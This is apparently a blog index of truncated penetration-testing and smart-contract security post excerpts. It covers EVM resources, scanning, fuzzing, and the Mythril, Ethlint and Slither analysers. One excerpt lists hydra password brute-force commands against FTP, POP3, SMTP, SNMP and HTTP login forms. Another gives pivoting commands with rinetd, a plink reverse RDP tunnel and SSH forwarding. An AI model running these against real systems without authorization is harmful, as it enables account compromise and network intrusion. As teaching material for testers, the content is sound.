If you wanna dig deeper at the Ethereum Virtual Machine level, those are some resources to start: EthTx Transaction Decoder https://ethtx.info/ Ethereum Signature Database https://www.4byte.directory/ Ethereum JSON-RPC API https://ethereum.org/es/developers/docs/apis/json-rpc/#eth_call Ethereum Virtual Machine Opcodes https://ethervm.io/ Solidity compiler EVM and OPCodes Let’s try with the following vulnerable (do not use!) smart contract:

When performing a penetration test, one of the most crucial parts is scanning and enumeration. Because if you lose any important port at this stage, you are letting go a juicy part of the attack vector to compromise the machine. Nmap is the standard-de-facto for port scanning, however it’s great…

Radamsa is a test case generator, it receives some input data and then it scrambles it to return some random data. Random is truly random, that means that you can even receive the same string :)

In a penetration testing engagement, scanning is a very important phase in which we get to know better the potential vulnerabilities of the machines inside the scope. …

Tool -> hydra Attack FTP: hydra -l $USERNAME -P /usr/share/wordlistsnmap.lst -f $IP ftp -V Attack POP3: hydra -l $USERNAME -P /usr/share/wordlistsnmap.lst -f $IP pop3 -V Attack SMTP: hydra -P /usr/share/wordlistsnmap.lst $IP smtp -V Attack SNMP: hydra -P /usr/share/wordlists/snmp.txt -v $IP snmp Attack HTTP form: hydra -l root@localhost -I -P cewl.txt $IP http-post-form "/$SCRIPT_PATH:Action=Login&User=^USER^&Password=^PASS^:Login…

Myth is a tool developed by Consensys that does dynamic analysis of a Solidity smart contract. It has a paid version called MythX and and free version called Mythril. We will check out how to use the latter in this post. A prerequisite is that you have already installed in…

Ethlint (formerly solium) is a tool that analyze your smart contract for style and security issues. It can be installed easily with npm: # npm install -g ethlint Once installed, we can initialize a project in the current directory like this: $ solium -i This will create .soliumrc.json and .soliumignore…

Slither is a Solidity static analysis framework written in Python 3. It runs a suite of vulnerability detectors, prints visual information about contract details, and provides an API to easily write custom analyses. Slither enables developers to find vulnerabilities, enhance their code comprehension, and quickly prototype custom analyses. Prerequisites: You…

#1: Pivoting with rinetd rinetd -f -c rinetd.conf # rinetd.conf # bindaddress bindport connectaddress connectport $PUBLICIP 80 $IP 80 #2: Pivoting with plink.exe ssh for windows: plink.exe plink -l root -pw pass -R 3389:127.0.0.1:3389 $IP -P 80 -N #3: Pivoting with SSH / OpenSSH ssh local port forwarding (“proxy”, on the attacker machine) Local port → Remote server ssh <GATEWAY/SSH server> -L <PORT>:<REMOTE SERVER>:<REMOTE…